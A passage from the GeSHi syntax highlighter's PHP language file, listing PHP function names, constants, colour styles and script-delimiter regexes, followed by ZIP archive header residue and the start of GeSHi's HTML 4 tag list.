'mysqli_fetch_array','mysqli_fetch_assoc','mysqli_fetch_field', 'mysqli_fetch_field_direct','mysqli_fetch_fields', 'mysqli_fetch_lengths','mysqli_fetch_object','mysqli_fetch_row', 'mysqli_field_count','mysqli_field_seek','mysqli_field_tell', 'mysqli_free_result','mysqli_get_charset','mysqli_get_client_info', 'mysqli_get_client_version','mysqli_get_host_info', 'mysqli_get_metadata','mysqli_get_proto_info', 'mysqli_get_server_info','mysqli_get_server_version', 'mysqli_get_warnings','mysqli_info','mysqli_init', 'mysqli_insert_id','mysqli_kill','mysqli_master_query', 'mysqli_more_results','mysqli_multi_query','mysqli_next_result', 'mysqli_num_fields','mysqli_num_rows','mysqli_options', 'mysqli_param_count','mysqli_ping','mysqli_prepare','mysqli_query', 'mysqli_real_connect','mysqli_real_escape_string', 'mysqli_real_query','mysqli_report','mysqli_rollback', 'mysqli_rpl_parse_enabled','mysqli_rpl_probe', 'mysqli_rpl_query_type','mysqli_select_db','mysqli_send_long_data', 'mysqli_send_query','mysqli_set_charset', 'mysqli_set_local_infile_default','mysqli_set_local_infile_handler', 'mysqli_set_opt','mysqli_slave_query','mysqli_sqlstate', 'mysqli_ssl_set','mysqli_stat','mysqli_stmt_affected_rows', 'mysqli_stmt_attr_get','mysqli_stmt_attr_set', 'mysqli_stmt_bind_param','mysqli_stmt_bind_result', 'mysqli_stmt_close','mysqli_stmt_data_seek','mysqli_stmt_errno', 'mysqli_stmt_error','mysqli_stmt_execute','mysqli_stmt_fetch', 'mysqli_stmt_field_count','mysqli_stmt_free_result', 'mysqli_stmt_get_warnings','mysqli_stmt_init', 'mysqli_stmt_insert_id','mysqli_stmt_num_rows', 'mysqli_stmt_param_count','mysqli_stmt_prepare','mysqli_stmt_reset', 'mysqli_stmt_result_metadata','mysqli_stmt_send_long_data', 'mysqli_stmt_sqlstate','mysqli_stmt_store_result', 'mysqli_store_result','mysqli_thread_id','mysqli_thread_safe', 'mysqli_use_result','mysqli_warning_count','natcasesort','natsort', 'new_xmldoc','next','ngettext','nl2br','nl_langinfo', 'ntuser_getdomaincontroller','ntuser_getusergroups', 'ntuser_getuserinfo','ntuser_getuserlist','number_format', 'ob_clean','ob_deflatehandler','ob_end_clean','ob_end_flush', 'ob_etaghandler','ob_flush','ob_get_clean','ob_get_contents', 'ob_get_flush','ob_get_length','ob_get_level','ob_get_status', 'ob_gzhandler','ob_iconv_handler','ob_implicit_flush', 'ob_inflatehandler','ob_list_handlers','ob_start','ob_tidyhandler', 'octdec','odbc_autocommit','odbc_binmode','odbc_close', 'odbc_close_all','odbc_columnprivileges','odbc_columns', 'odbc_commit','odbc_connect','odbc_cursor','odbc_data_source', 'odbc_do','odbc_error','odbc_errormsg','odbc_exec','odbc_execute', 'odbc_fetch_array','odbc_fetch_into','odbc_fetch_object', 'odbc_fetch_row','odbc_field_len','odbc_field_name', 'odbc_field_num','odbc_field_precision','odbc_field_scale', 'odbc_field_type','odbc_foreignkeys','odbc_free_result', 'odbc_gettypeinfo','odbc_longreadlen','odbc_next_result', 'odbc_num_fields','odbc_num_rows','odbc_pconnect','odbc_prepare', 'odbc_primarykeys','odbc_procedurecolumns','odbc_procedures', 'odbc_result','odbc_result_all','odbc_rollback','odbc_setoption', 'odbc_specialcolumns','odbc_statistics','odbc_tableprivileges', 'odbc_tables','opendir','openlog','openssl_csr_export', 'openssl_csr_export_to_file','openssl_csr_get_public_key', 'openssl_csr_get_subject','openssl_csr_new','openssl_csr_sign', 'openssl_error_string','openssl_free_key','openssl_get_privatekey', 'openssl_get_publickey','openssl_open','openssl_pkcs12_export', 'openssl_pkcs12_export_to_file','openssl_pkcs12_read', 'openssl_pkcs7_decrypt','openssl_pkcs7_encrypt', 'openssl_pkcs7_sign','openssl_pkcs7_verify','openssl_pkey_export', 'openssl_pkey_export_to_file','openssl_pkey_free', 'openssl_pkey_get_details','openssl_pkey_get_private', 'openssl_pkey_get_public','openssl_pkey_new', 'openssl_private_decrypt','openssl_private_encrypt', 'openssl_public_decrypt','openssl_public_encrypt','openssl_seal', 'openssl_sign','openssl_verify','openssl_x509_checkpurpose', 'openssl_x509_check_private_key','openssl_x509_export', 'openssl_x509_export_to_file','openssl_x509_free', 'openssl_x509_parse','openssl_x509_read','ord', 'output_add_rewrite_var','output_reset_rewrite_vars','overload', 'outputdebugstring','pack','parse_ini_file','parse_str','parse_url', 'parsekit_compile_file','parsekit_compile_string', 'parsekit_func_arginfo','parsekit_opcode_flags', 'parsekit_opcode_name','passthru','pathinfo','pclose', 'pdf_add_bookmark','pdf_add_launchlink','pdf_add_locallink', 'pdf_add_nameddest','pdf_add_note','pdf_add_pdflink', 'pdf_add_thumbnail','pdf_add_weblink','pdf_arc','pdf_arcn', 'pdf_attach_file','pdf_begin_font','pdf_begin_glyph', 'pdf_begin_page','pdf_begin_pattern','pdf_begin_template', 'pdf_circle','pdf_clip','pdf_close','pdf_close_image', 'pdf_close_pdi','pdf_close_pdi_page','pdf_closepath', 'pdf_closepath_fill_stroke','pdf_closepath_stroke','pdf_concat', 'pdf_continue_text','pdf_create_gstate','pdf_create_pvf', 'pdf_curveto','pdf_delete','pdf_delete_pvf','pdf_encoding_set_char', 'pdf_end_font','pdf_end_glyph','pdf_end_page','pdf_end_pattern', 'pdf_end_template','pdf_endpath','pdf_fill','pdf_fill_imageblock', 'pdf_fill_pdfblock','pdf_fill_stroke','pdf_fill_textblock', 'pdf_findfont','pdf_fit_image','pdf_fit_pdi_page', 'pdf_fit_textline','pdf_get_apiname','pdf_get_buffer', 'pdf_get_errmsg','pdf_get_errnum','pdf_get_parameter', 'pdf_get_pdi_parameter','pdf_get_pdi_value','pdf_get_value', 'pdf_initgraphics','pdf_lineto','pdf_load_font', 'pdf_load_iccprofile','pdf_load_image','pdf_makespotcolor', 'pdf_moveto','pdf_new','pdf_open_ccitt','pdf_open_file', 'pdf_open_image','pdf_open_image_file','pdf_open_pdi', 'pdf_open_pdi_page','pdf_place_image','pdf_place_pdi_page', 'pdf_process_pdi','pdf_rect','pdf_restore','pdf_rotate','pdf_save', 'pdf_scale','pdf_set_border_color','pdf_set_border_dash', 'pdf_set_border_style','pdf_set_gstate','pdf_set_info', 'pdf_set_parameter','pdf_set_text_pos','pdf_set_value', 'pdf_setcolor','pdf_setdash','pdf_setdashpattern','pdf_setflat', 'pdf_setfont','pdf_setlinecap','pdf_setlinejoin','pdf_setlinewidth', 'pdf_setmatrix','pdf_setmiterlimit','pdf_setpolydash','pdf_shading', 'pdf_shading_pattern','pdf_shfill','pdf_show','pdf_show_boxed', 'pdf_show_xy','pdf_skew','pdf_stringwidth','pdf_stroke', 'pdf_translate','pdo_drivers','pfsockopen','pg_affected_rows', 'pg_cancel_query','pg_clientencoding','pg_client_encoding', 'pg_close','pg_cmdtuples','pg_connect','pg_connection_busy', 'pg_connection_reset','pg_connection_status','pg_convert', 'pg_copy_from','pg_copy_to','pg_dbname','pg_delete','pg_end_copy', 'pg_errormessage','pg_escape_bytea','pg_escape_string','pg_exec', 'pg_execute','pg_fetch_all','pg_fetch_all_columns','pg_fetch_array', 'pg_fetch_assoc','pg_fetch_object','pg_fetch_result','pg_fetch_row', 'pg_fieldisnull','pg_fieldname','pg_fieldnum','pg_fieldprtlen', 'pg_fieldsize','pg_fieldtype','pg_field_is_null','pg_field_name', 'pg_field_num','pg_field_prtlen','pg_field_size','pg_field_table', 'pg_field_type','pg_field_type_oid','pg_free_result', 'pg_freeresult','pg_get_notify','pg_get_pid','pg_get_result', 'pg_getlastoid','pg_host','pg_insert','pg_last_error', 'pg_last_notice','pg_last_oid','pg_loclose','pg_locreate', 'pg_loexport','pg_loimport','pg_loopen','pg_loread','pg_loreadall', 'pg_lounlink','pg_lowrite','pg_lo_close','pg_lo_create', 'pg_lo_export','pg_lo_import','pg_lo_open','pg_lo_read', 'pg_lo_read_all','pg_lo_seek','pg_lo_tell','pg_lo_unlink', 'pg_lo_write','pg_meta_data','pg_numfields','pg_numrows', 'pg_num_fields','pg_num_rows','pg_options','pg_parameter_status', 'pg_pconnect','pg_ping','pg_port','pg_prepare','pg_put_line', 'pg_query','pg_query_params','pg_result','pg_result_error', 'pg_result_error_field','pg_result_seek','pg_result_status', 'pg_select','pg_send_execute','pg_send_prepare','pg_send_query', 'pg_send_query_params','pg_set_client_encoding', 'pg_set_error_verbosity','pg_setclientencoding','pg_trace', 'pg_transaction_status','pg_tty','pg_unescape_bytea','pg_untrace', 'pg_update','pg_version','php_egg_logo_guid','php_ini_loaded_file', 'php_ini_scanned_files','php_logo_guid','php_real_logo_guid', 'php_sapi_name','php_strip_whitespace','php_uname','phpcredits', 'phpdoc_xml_from_string','phpinfo','phpversion','pi','png2wbmp', 'pop3_close','pop3_delete_message','pop3_get_account_size', 'pop3_get_message','pop3_get_message_count', 'pop3_get_message_header','pop3_get_message_ids', 'pop3_get_message_size','pop3_get_message_sizes','pop3_open', 'pop3_undelete','popen','pos','posix_ctermid','posix_errno', 'posix_getcwd','posix_getegid','posix_geteuid','posix_getgid', 'posix_getgrgid','posix_getgrnam','posix_getgroups', 'posix_getlogin','posix_getpgid','posix_getpgrp','posix_getpid', 'posix_getppid','posix_getpwnam','posix_getpwuid','posix_getrlimit', 'posix_getsid','posix_getuid','posix_get_last_error','posix_isatty', 'posix_kill','posix_mkfifo','posix_setegid','posix_seteuid', 'posix_setgid','posix_setpgid','posix_setsid','posix_setuid', 'posix_strerror','posix_times','posix_ttyname','posix_uname','pow', 'preg_grep','preg_last_error','preg_match','preg_match_all', 'preg_quote','preg_replace','preg_replace_callback','preg_split', 'prev','print_r','printf','proc_close','proc_get_status', 'proc_open','proc_terminate','putenv','quoted_printable_decode', 'quotemeta','rad2deg','radius_acct_open','radius_add_server', 'radius_auth_open','radius_close','radius_config', 'radius_create_request','radius_cvt_addr','radius_cvt_int', 'radius_cvt_string','radius_demangle','radius_demangle_mppe_key', 'radius_get_attr','radius_get_vendor_attr','radius_put_addr', 'radius_put_attr','radius_put_int','radius_put_string', 'radius_put_vendor_addr','radius_put_vendor_attr', 'radius_put_vendor_int','radius_put_vendor_string', 'radius_request_authenticator','radius_send_request', 'radius_server_secret','radius_strerror','rand','range', 'rawurldecode','rawurlencode','read_exif_data','readdir','readfile', 'readgzfile','readlink','realpath','reg_close_key','reg_create_key', 'reg_enum_key','reg_enum_value','reg_get_value','reg_open_key', 'reg_set_value','register_shutdown_function', 'register_tick_function','rename','res_close','res_get','res_list', 'res_list_type','res_open','res_set','reset', 'restore_error_handler','restore_include_path','rewind','rewinddir', 'rmdir','round','rsort','rtrim','runkit_class_adopt', 'runkit_class_emancipate','runkit_constant_add', 'runkit_constant_redefine','runkit_constant_remove', 'runkit_default_property_add','runkit_function_add', 'runkit_function_copy','runkit_function_redefine', 'runkit_function_remove','runkit_function_rename','runkit_import', 'runkit_lint','runkit_lint_file','runkit_method_add', 'runkit_method_copy','runkit_method_redefine', 'runkit_method_remove','runkit_method_rename','runkit_object_id', 'runkit_return_value_used','runkit_sandbox_output_handler', 'runkit_superglobals','runkit_zval_inspect','scandir','sem_acquire', 'sem_get','sem_release','sem_remove','serialize', 'session_cache_expire','session_cache_limiter','session_commit', 'session_decode','session_destroy','session_encode', 'session_get_cookie_params','session_id','session_is_registered', 'session_module_name','session_name','session_regenerate_id', 'session_register','session_save_path','session_set_cookie_params', 'session_set_save_handler','session_start','session_unregister', 'session_unset','session_write_close','set_content', 'set_error_handler','set_file_buffer','set_include_path', 'set_magic_quotes_runtime','set_socket_blocking','set_time_limit', 'setcookie','setlocale','setrawcookie','settype','sha1','sha1_file', 'shell_exec','shmop_close','shmop_delete','shmop_open','shmop_read', 'shmop_size','shmop_write','shm_attach','shm_detach','shm_get_var', 'shm_put_var','shm_remove','shm_remove_var','show_source','shuffle', 'similar_text','simplexml_import_dom','simplexml_load_file', 'simplexml_load_string','sin','sinh','sizeof','sleep','smtp_close', 'smtp_cmd_data','smtp_cmd_mail','smtp_cmd_rcpt','smtp_connect', 'snmp_get_quick_print','snmp_get_valueretrieval','snmp_read_mib', 'snmp_set_quick_print','snmp_set_valueretrieval','snmp2_get', 'snmp2_getnext','snmp2_real_walk','snmp2_set','snmp2_walk', 'snmp3_get','snmp3_getnext','snmp3_real_walk','snmp3_set', 'snmp3_walk','snmpget','snmpgetnext','snmprealwalk','snmpset', 'snmpwalk','snmpwalkoid','socket_accept','socket_bind', 'socket_clear_error','socket_close','socket_connect', 'socket_create','socket_create_listen','socket_create_pair', 'socket_getopt','socket_getpeername','socket_getsockname', 'socket_get_option','socket_get_status','socket_iovec_add', 'socket_iovec_alloc','socket_iovec_delete','socket_iovec_fetch', 'socket_iovec_free','socket_iovec_set','socket_last_error', 'socket_listen','socket_read','socket_readv','socket_recv', 'socket_recvfrom','socket_recvmsg','socket_select','socket_send', 'socket_sendmsg','socket_sendto','socket_setopt','socket_set_block', 'socket_set_blocking','socket_set_nonblock','socket_set_option', 'socket_set_timeout','socket_shutdown','socket_strerror', 'socket_write','socket_writev','sort','soundex','spl_autoload', 'spl_autoload_call','spl_autoload_extensions', 'spl_autoload_functions','spl_autoload_register', 'spl_autoload_unregister','spl_classes','spl_object_hash','split', 'spliti','sprintf','sql_regcase','sqlite_array_query', 'sqlite_busy_timeout','sqlite_changes','sqlite_close', 'sqlite_column','sqlite_create_aggregate','sqlite_create_function', 'sqlite_current','sqlite_error_string','sqlite_escape_string', 'sqlite_exec','sqlite_factory','sqlite_fetch_all', 'sqlite_fetch_array','sqlite_fetch_column_types', 'sqlite_fetch_object','sqlite_fetch_single','sqlite_fetch_string', 'sqlite_field_name','sqlite_has_more','sqlite_has_prev', 'sqlite_last_error','sqlite_last_insert_rowid','sqlite_libencoding', 'sqlite_libversion','sqlite_next','sqlite_num_fields', 'sqlite_num_rows','sqlite_open','sqlite_popen','sqlite_prev', 'sqlite_query','sqlite_rewind','sqlite_seek','sqlite_single_query', 'sqlite_udf_decode_binary','sqlite_udf_encode_binary', 'sqlite_unbuffered_query','sqlite_valid','sqrt','srand','sscanf', 'ssh2_auth_hostbased_file','ssh2_auth_none','ssh2_auth_password', 'ssh2_auth_pubkey_file','ssh2_connect','ssh2_exec', 'ssh2_fetch_stream','ssh2_fingerprint','ssh2_forward_accept', 'ssh2_forward_listen','ssh2_methods_negotiated','ssh2_poll', 'ssh2_publickey_add','ssh2_publickey_init','ssh2_publickey_list', 'ssh2_publickey_remove','ssh2_scp_recv','ssh2_scp_send','ssh2_sftp', 'ssh2_sftp_lstat','ssh2_sftp_mkdir','ssh2_sftp_readlink', 'ssh2_sftp_realpath','ssh2_sftp_rename','ssh2_sftp_rmdir', 'ssh2_sftp_stat','ssh2_sftp_symlink','ssh2_sftp_unlink', 'ssh2_shell','ssh2_tunnel','stat','stats_absolute_deviation', 'stats_cdf_beta','stats_cdf_binomial','stats_cdf_cauchy', 'stats_cdf_chisquare','stats_cdf_exponential','stats_cdf_f', 'stats_cdf_gamma','stats_cdf_laplace','stats_cdf_logistic', 'stats_cdf_negative_binomial','stats_cdf_noncentral_chisquare', 'stats_cdf_noncentral_f','stats_cdf_noncentral_t', 'stats_cdf_normal','stats_cdf_poisson','stats_cdf_t', 'stats_cdf_uniform','stats_cdf_weibull','stats_covariance', 'stats_dens_beta','stats_dens_cauchy','stats_dens_chisquare', 'stats_dens_exponential','stats_dens_f','stats_dens_gamma', 'stats_dens_laplace','stats_dens_logistic','stats_dens_normal', 'stats_dens_pmf_binomial','stats_dens_pmf_hypergeometric', 'stats_dens_pmf_negative_binomial','stats_dens_pmf_poisson', 'stats_dens_t','stats_dens_uniform','stats_dens_weibull', 'stats_harmonic_mean','stats_kurtosis','stats_rand_gen_beta', 'stats_rand_gen_chisquare','stats_rand_gen_exponential', 'stats_rand_gen_f','stats_rand_gen_funiform','stats_rand_gen_gamma', 'stats_rand_gen_ipoisson','stats_rand_gen_iuniform', 'stats_rand_gen_noncenral_f','stats_rand_gen_noncentral_chisquare', 'stats_rand_gen_noncentral_t','stats_rand_gen_normal', 'stats_rand_gen_t','stats_rand_getsd','stats_rand_ibinomial', 'stats_rand_ibinomial_negative','stats_rand_ignlgi', 'stats_rand_phrase_to_seeds','stats_rand_ranf','stats_rand_setall', 'stats_skew','stats_standard_deviation','stats_stat_binomial_coef', 'stats_stat_correlation','stats_stat_factorial', 'stats_stat_independent_t','stats_stat_innerproduct', 'stats_stat_paired_t','stats_stat_percentile','stats_stat_powersum', 'stats_variance','strcasecmp','strchr','strcmp','strcoll','strcspn', 'stream_bucket_append','stream_bucket_make_writeable', 'stream_bucket_new','stream_bucket_prepend','stream_context_create', 'stream_context_get_default','stream_context_get_options', 'stream_context_set_default','stream_context_set_option', 'stream_context_set_params','stream_copy_to_stream', 'stream_encoding','stream_filter_append','stream_filter_prepend', 'stream_filter_register','stream_filter_remove', 'stream_get_contents','stream_get_filters','stream_get_line', 'stream_get_meta_data','stream_get_transports', 'stream_get_wrappers','stream_is_local', 'stream_notification_callback','stream_register_wrapper', 'stream_resolve_include_path','stream_select','stream_set_blocking', 'stream_set_timeout','stream_set_write_buffer', 'stream_socket_accept','stream_socket_client', 'stream_socket_enable_crypto','stream_socket_get_name', 'stream_socket_pair','stream_socket_recvfrom', 'stream_socket_sendto','stream_socket_server', 'stream_socket_shutdown','stream_supports_lock', 'stream_wrapper_register','stream_wrapper_restore', 'stream_wrapper_unregister','strftime','stripcslashes','stripos', 'stripslashes','strip_tags','stristr','strlen','strnatcasecmp', 'strnatcmp','strpbrk','strncasecmp','strncmp','strpos','strrchr', 'strrev','strripos','strrpos','strspn','strstr','strtok', 'strtolower','strtotime','strtoupper','strtr','strval', 'str_ireplace','str_pad','str_repeat','str_replace','str_rot13', 'str_split','str_shuffle','str_word_count','substr', 'substr_compare','substr_count','substr_replace','svn_add', 'svn_auth_get_parameter','svn_auth_set_parameter','svn_cat', 'svn_checkout','svn_cleanup','svn_client_version','svn_commit', 'svn_diff','svn_export','svn_fs_abort_txn','svn_fs_apply_text', 'svn_fs_begin_txn2','svn_fs_change_node_prop','svn_fs_check_path', 'svn_fs_contents_changed','svn_fs_copy','svn_fs_delete', 'svn_fs_dir_entries','svn_fs_file_contents','svn_fs_file_length', 'svn_fs_is_dir','svn_fs_is_file','svn_fs_make_dir', 'svn_fs_make_file','svn_fs_node_created_rev','svn_fs_node_prop', 'svn_fs_props_changed','svn_fs_revision_prop', 'svn_fs_revision_root','svn_fs_txn_root','svn_fs_youngest_rev', 'svn_import','svn_info','svn_log','svn_ls','svn_repos_create', 'svn_repos_fs','svn_repos_fs_begin_txn_for_commit', 'svn_repos_fs_commit_txn','svn_repos_hotcopy','svn_repos_open', 'svn_repos_recover','svn_status','svn_update','symlink', 'sys_get_temp_dir','syslog','system','tan','tanh','tempnam', 'textdomain','thread_get','thread_include','thread_lock', 'thread_lock_try','thread_mutex_destroy','thread_mutex_init', 'thread_set','thread_start','thread_unlock','tidy_access_count', 'tidy_clean_repair','tidy_config_count','tidy_diagnose', 'tidy_error_count','tidy_get_body','tidy_get_config', 'tidy_get_error_buffer','tidy_get_head','tidy_get_html', 'tidy_get_html_ver','tidy_get_output','tidy_get_release', 'tidy_get_root','tidy_get_status','tidy_getopt','tidy_is_xhtml', 'tidy_is_xml','tidy_parse_file','tidy_parse_string', 'tidy_repair_file','tidy_repair_string','tidy_warning_count','time', 'timezone_abbreviations_list','timezone_identifiers_list', 'timezone_name_from_abbr','timezone_name_get','timezone_offset_get', 'timezone_open','timezone_transitions_get','tmpfile', 'token_get_all','token_name','touch','trigger_error', 'transliterate','transliterate_filters_get','trim','uasort', 'ucfirst','ucwords','uksort','umask','uniqid','unixtojd','unlink', 'unpack','unregister_tick_function','unserialize','unset', 'urldecode','urlencode','user_error','use_soap_error_handler', 'usleep','usort','utf8_decode','utf8_encode','var_dump', 'var_export','variant_abs','variant_add','variant_and', 'variant_cast','variant_cat','variant_cmp', 'variant_date_from_timestamp','variant_date_to_timestamp', 'variant_div','variant_eqv','variant_fix','variant_get_type', 'variant_idiv','variant_imp','variant_int','variant_mod', 'variant_mul','variant_neg','variant_not','variant_or', 'variant_pow','variant_round','variant_set','variant_set_type', 'variant_sub','variant_xor','version_compare','virtual','vfprintf', 'vprintf','vsprintf','wddx_add_vars','wddx_deserialize', 'wddx_packet_end','wddx_packet_start','wddx_serialize_value', 'wddx_serialize_vars','win_beep','win_browse_file', 'win_browse_folder','win_create_link','win_message_box', 'win_play_wav','win_shell_execute','win32_create_service', 'win32_delete_service','win32_get_last_control_message', 'win32_ps_list_procs','win32_ps_stat_mem','win32_ps_stat_proc', 'win32_query_service_status','win32_scheduler_delete_task', 'win32_scheduler_enum_tasks','win32_scheduler_get_task_info', 'win32_scheduler_run','win32_scheduler_set_task_info', 'win32_set_service_status','win32_start_service', 'win32_start_service_ctrl_dispatcher','win32_stop_service', 'wordwrap','xml_error_string','xml_get_current_byte_index', 'xml_get_current_column_number','xml_get_current_line_number', 'xml_get_error_code','xml_parse','xml_parser_create', 'xml_parser_create_ns','xml_parser_free','xml_parser_get_option', 'xml_parser_set_option','xml_parse_into_struct', 'xml_set_character_data_handler','xml_set_default_handler', 'xml_set_element_handler','xml_set_end_namespace_decl_handler', 'xml_set_external_entity_ref_handler', 'xml_set_notation_decl_handler','xml_set_object', 'xml_set_processing_instruction_handler', 'xml_set_start_namespace_decl_handler', 'xml_set_unparsed_entity_decl_handler','xmldoc','xmldocfile', 'xmlrpc_decode','xmlrpc_decode_request','xmlrpc_encode', 'xmlrpc_encode_request','xmlrpc_get_type','xmlrpc_is_fault', 'xmlrpc_parse_method_descriptions', 'xmlrpc_server_add_introspection_data','xmlrpc_server_call_method', 'xmlrpc_server_create','xmlrpc_server_destroy', 'xmlrpc_server_register_introspection_callback', 'xmlrpc_server_register_method','xmlrpc_set_type','xmltree', 'xmlwriter_end_attribute','xmlwriter_end_cdata', 'xmlwriter_end_comment','xmlwriter_end_document', 'xmlwriter_end_dtd','xmlwriter_end_dtd_attlist', 'xmlwriter_end_dtd_element','xmlwriter_end_dtd_entity', 'xmlwriter_end_element','xmlwriter_end_pi','xmlwriter_flush', 'xmlwriter_full_end_element','xmlwriter_open_memory', 'xmlwriter_open_uri','xmlwriter_output_memory', 'xmlwriter_set_indent','xmlwriter_set_indent_string', 'xmlwriter_start_attribute','xmlwriter_start_attribute_ns', 'xmlwriter_start_cdata','xmlwriter_start_comment', 'xmlwriter_start_document','xmlwriter_start_dtd', 'xmlwriter_start_dtd_attlist','xmlwriter_start_dtd_element', 'xmlwriter_start_dtd_entity','xmlwriter_start_element', 'xmlwriter_start_element_ns','xmlwriter_start_pi','xmlwriter_text', 'xmlwriter_write_attribute','xmlwriter_write_attribute_ns', 'xmlwriter_write_cdata','xmlwriter_write_comment', 'xmlwriter_write_dtd','xmlwriter_write_dtd_attlist', 'xmlwriter_write_dtd_element','xmlwriter_write_dtd_entity', 'xmlwriter_write_element','xmlwriter_write_element_ns', 'xmlwriter_write_pi','xmlwriter_write_raw','xpath_eval', 'xpath_eval_expression','xpath_new_context','xpath_register_ns', 'xpath_register_ns_auto','xptr_eval','xptr_new_context','yp_all', 'yp_cat','yp_errno','yp_err_string','yp_first', 'yp_get_default_domain','yp_master','yp_match','yp_next','yp_order', 'zend_current_obfuscation_level','zend_get_cfg_var','zend_get_id', 'zend_loader_current_file','zend_loader_enabled', 'zend_loader_file_encoded','zend_loader_file_licensed', 'zend_loader_install_license','zend_loader_version', 'zend_logo_guid','zend_match_hostmasks','zend_obfuscate_class_name', 'zend_obfuscate_function_name','zend_optimizer_version', 'zend_runtime_obfuscate','zend_version','zip_close', 'zip_entry_close','zip_entry_compressedsize', 'zip_entry_compressionmethod','zip_entry_filesize','zip_entry_name', 'zip_entry_open','zip_entry_read','zip_open','zip_read', 'zlib_get_coding_type' ), 4 => array( 'DEFAULT_INCLUDE_PATH', 'DIRECTORY_SEPARATOR', 'E_ALL', 'E_COMPILE_ERROR', 'E_COMPILE_WARNING', 'E_CORE_ERROR', 'E_CORE_WARNING', 'E_ERROR', 'E_NOTICE', 'E_PARSE', 'E_STRICT', 'E_USER_ERROR', 'E_USER_NOTICE', 'E_USER_WARNING', 'E_WARNING', 'ENT_COMPAT','ENT_QUOTES','ENT_NOQUOTES', 'false', 'null', 'PEAR_EXTENSION_DIR', 'PEAR_INSTALL_DIR', 'PHP_BINDIR', 'PHP_CONFIG_FILE_PATH', 'PHP_DATADIR', 'PHP_EXTENSION_DIR', 'PHP_LIBDIR', 'PHP_LOCALSTATEDIR', 'PHP_OS', 'PHP_OUTPUT_HANDLER_CONT', 'PHP_OUTPUT_HANDLER_END', 'PHP_OUTPUT_HANDLER_START', 'PHP_SYSCONFDIR', 'PHP_VERSION', 'true', '__CLASS__', '__FILE__', '__FUNCTION__', '__LINE__', '__METHOD__' ) ), 'SYMBOLS' => array( 1 => array( '<'.'%', '<'.'%=', '%'.'>', '<'.'?', '<'.'?=', '?'.'>' ), 0 => array( '(', ')', '[', ']', '{', '}', '!', '@', '%', '&', '|', '/', '<', '>', '=', '-', '+', '*', '.', ':', ',', ';' ) ), 'CASE_SENSITIVE' => array( GESHI_COMMENTS => false, 1 => false, 2 => false, 3 => false, 4 => false ), 'STYLES' => array( 'KEYWORDS' => array( 1 => 'color: #b1b100;', 2 => 'color: #000000; font-weight: bold;', 3 => 'color: #990000;', 4 => 'color: #009900; font-weight: bold;' ), 'COMMENTS' => array( 1 => 'color: #666666; font-style: italic;', 2 => 'color: #666666; font-style: italic;', 3 => 'color: #0000cc; font-style: italic;', 4 => 'color: #009933; font-style: italic;', 'MULTI' => 'color: #666666; font-style: italic;' ), 'ESCAPE_CHAR' => array( 0 => 'color: #000099; font-weight: bold;', 1 => 'color: #000099; font-weight: bold;', 2 => 'color: #660099; font-weight: bold;', 3 => 'color: #660099; font-weight: bold;', 4 => 'color: #006699; font-weight: bold;', 5 => 'color: #006699; font-weight: bold; font-style: italic;', 6 => 'color: #009933; font-weight: bold;', 'HARD' => 'color: #000099; font-weight: bold;' ), 'BRACKETS' => array( 0 => 'color: #009900;' ), 'STRINGS' => array( 0 => 'color: #0000ff;', 'HARD' => 'color: #0000ff;' ), 'NUMBERS' => array( 0 => 'color: #cc66cc;', GESHI_NUMBER_OCT_PREFIX => 'color: #208080;', GESHI_NUMBER_HEX_PREFIX => 'color: #208080;', GESHI_NUMBER_FLT_SCI_ZERO => 'color:#800080;', ), 'METHODS' => array( 1 => 'color: #004000;', 2 => 'color: #004000;' ), 'SYMBOLS' => array( 0 => 'color: #339933;', 1 => 'color: #000000; font-weight: bold;' ), 'REGEXPS' => array( 0 => 'color: #000088;' ), 'SCRIPT' => array( 0 => '', 1 => '', 2 => '', 3 => '', 4 => '', 5 => '' ) ), 'URLS' => array( 1 => '', 2 => '', 3 => 'http://www.php.net/{FNAMEL}', 4 => '' ), 'OOLANG' => true, 'OBJECT_SPLITTERS' => array( 1 => '->', 2 => '::' ), 'REGEXPS' => array( //Variables 0 => "[\\$]{1,2}[a-zA-Z_][a-zA-Z0-9_]*" ), 'STRICT_MODE_APPLIES' => GESHI_MAYBE, 'SCRIPT_DELIMITERS' => array( 0 => array( '<'.'?php' => '?'.'>' ), 1 => array( '<'.'?' => '?'.'>' ), 2 => array( '<'.'%' => '%'.'>' ), 3 => array( '' ), 4 => "/(?P<\\?(?>php\b)?)(?:". "(?>[^\"'?\\/<]+)|". "\\?(?!>)|". "(?>'(?>[^'\\\\]|\\\\'|\\\\\\\|\\\\)*')|". "(?>\"(?>[^\"\\\\]|\\\\\"|\\\\\\\\|\\\\)*\")|". "(?>\\/\\*(?>[^\\*]|(?!\\*\\/)\\*)*\\*\\/)|". "\\/\\/(?>.*?$)|". "\\/(?=[^*\\/])|". "<(?!<<)|". "<<<(?P\w+)\s.*?\s\k". ")*(?P\\?>|\Z)/sm", 5 => "/(?P<%)(?:". "(?>[^\"'%\\/<]+)|". "%(?!>)|". "(?>'(?>[^'\\\\]|\\\\'|\\\\\\\|\\\\)*')|". "(?>\"(?>[^\\\"\\\\]|\\\\\"|\\\\\\\\|\\\\)*\")|". "(?>\\/\\*(?>[^\\*]|(?!\\*\\/)\\*)*\\*\\/)|". "\\/\\/(?>.*?$)|". "\\/(?=[^*\\/])|". "<(?!<<)|". "<<<(?P\w+)\s.*?\s\k". ")*(?P%>)/sm", ), 'HIGHLIGHT_STRICT_BLOCK' => array( 0 => true, 1 => true, 2 => true, 3 => true, 4 => true, 5 => true ), 'TAB_WIDTH' => 4 ); ?> PK>\Vgeshi/geshi/geshi/index.htmlnuW+A PK>\!geshi/geshi/geshi/html4strict.phpnuW+A 'HTML', 'COMMENT_SINGLE' => array(), 'COMMENT_MULTI' => array(), 'CASE_KEYWORDS' => GESHI_CAPS_NO_CHANGE, 'QUOTEMARKS' => array("'", '"'), 'ESCAPE_CHAR' => '', 'KEYWORDS' => array( 2 => array( 'a', 'abbr', 'acronym', 'address', 'applet', 'base', 'basefont', 'bdo', 'big', 'blockquote', 'body', 'br', 'button', 'b', 'caption', 'center', 'cite', 'code', 'colgroup', 'col', 'dd', 'del', 'dfn', 'dir', 'div', 'dl', 'dt', 'em', 'fieldset', 'font', 'form', 'frame', 'frameset', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'head', 'hr', 'html', 'iframe', 'ilayer', 'img', 'input', 'ins', 'isindex', 'i', 'kbd', 'label', 'legend', 'link', 'li', 'map', 'meta', 'noframes', 'noscript', 'object', 'ol', 'optgroup', 'option', 'param', 'pre', 'p', 'q', 'samp', 'script', 'select', 'small', 'span', 'strike', 'strong', 'style', 'sub', 'sup', 's', 'table', 'tbody', 'td', 'textarea', 'text', 'tfoot', 'thead', 'th', 'title', 'tr', 'tt', 